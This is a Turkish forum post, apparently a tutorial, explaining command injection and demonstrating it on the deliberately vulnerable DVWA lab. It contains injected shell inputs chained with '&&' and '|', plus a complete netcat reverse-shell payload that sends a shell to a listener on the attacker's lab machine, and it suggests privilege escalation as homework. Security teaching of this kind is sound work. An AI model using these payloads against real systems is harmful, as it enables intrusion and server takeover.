- Katılım
- 21 Ocak 2026
- Mesajlar
- 6
- Tepkime puanı
- 3
- Puan
- 3
COMMAND INJECTION NEDİR?
Command injection, dışarıdan bir giriş değeri ile arka planda bir komutu çalıştıran bir programın amaçlanan giriş değeri dışında bir veriyi kabul ederek bunu çalıştırmasıdır. Bu işlem sırasında program, komutu normalde kullanıcıda olmaması gereken bir yetki seviyesinde çalıştırır ve çıktıyı kullanıcıya iletir.(Kaynak: https://docs.yavuzlar.org/web-guvenligi/command-injection)
Kullanıcı girdisi, yeterince doğrulanmadan işletim sistemi komutuna bağlanıyorsa, command injection mümkündür. Command injection web sitesine input boxlar üzerinden, parametreler üzerinden veya post dataları üzerinden komut yürütebilir. Bu konutu örnekler ile daha iyi anlayacaksınız.
İlk önce bir kaynak kodunu inceleyip konuyu tam kavramanızı istiyorum.
Yukarıdaki resimde de gördüğünüz gibi, herhangi bir güvenlik önlemi yok. Yani biz amaçlanan giriş değeri dışında bir değer girebiliriz.

Buda medium seviye kaynak kodu. Burada bazı güvenlik önlemleri alınmış ancak hala command injection yapmak "|" gibi sembollerle mümkün.
High seviyenin kaynak kodundaki eksikliği de siz bulmaya çalışın
DVWA Üzerinde Command Injection
Şimdi küçük denemeler yapalım. Zafiyetli makinemizi ve Kali Linux'umuz başlatalım. Tarayıcımıza DVWA makinemizin IP adresini yazarak çıkan login ekranında "admin" ve "password" bilgilerinin kullanarak giriş yapalım. Security seviyesini low olarak ayarlayalım. Bunları yaptıktan sonra saldırımıza başlayabiliriz.Sol menüden command injection kısmına geldiğimizde, karşımıza bir input box çıkıyor. Bu input boxun amacı, bizim yazıdığımız ip adresine ya da dns'ye ping atmak. Ancak yukarda da dediğimiz gibi, amaçlanan giriş değeri dışında bir veriyi kabul ettirirsek command injection başarılı olacaktır.
Hemen input boxa basit bir komut yazarak test edelim:
Kod:
google.com && ls -al;

Komut çalıştı. Eğer güvenlik medium seviyede olsaydı, bu komut çalışmayacaktı. Ancak
Kod:
google.com | ls -al
Peki bu güvenlik açığıyla ne yapacağız? Neler yapabiliriz?
Bir shell elde edebiliriz, ya da nc üzerinden ters bağlantı (reverse shell) alabiliriz. Hatta kritik seviye bir RCE (Remote Code Execution) açığı, gerçek sistemlerde tam sunucu ele geçirmeye kadar gidebilir.
Biz beraber nc üzerinden makinemize bir shell alalım ve dersimizi bitirelim.
Kalimizde nc ile 4444 portunu dinlemeye alalım:
Kod:
nc -lvnp 4444
Input Boxa şu komutu yazalım:
Kod:
google.com && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.106 4444 >/tmp/f
Shellimiz geldi, artık içerdeyiz. Daha ileriye gitmek ve root yetkisine geçebilmek için yetki yükseltme saldırıları bu açılan kanaldan uygulanabilir.Bugünkü dersimiz burada son buldu. Haddim değil ama sizlere ödev olarak root olmaya çalışmanızı, high ve impossible seviyeleri incelemenizi isteyeceğim.
Okuduğunuz için teşekkür ederim, iyi çalışmalar.
Son düzenleme: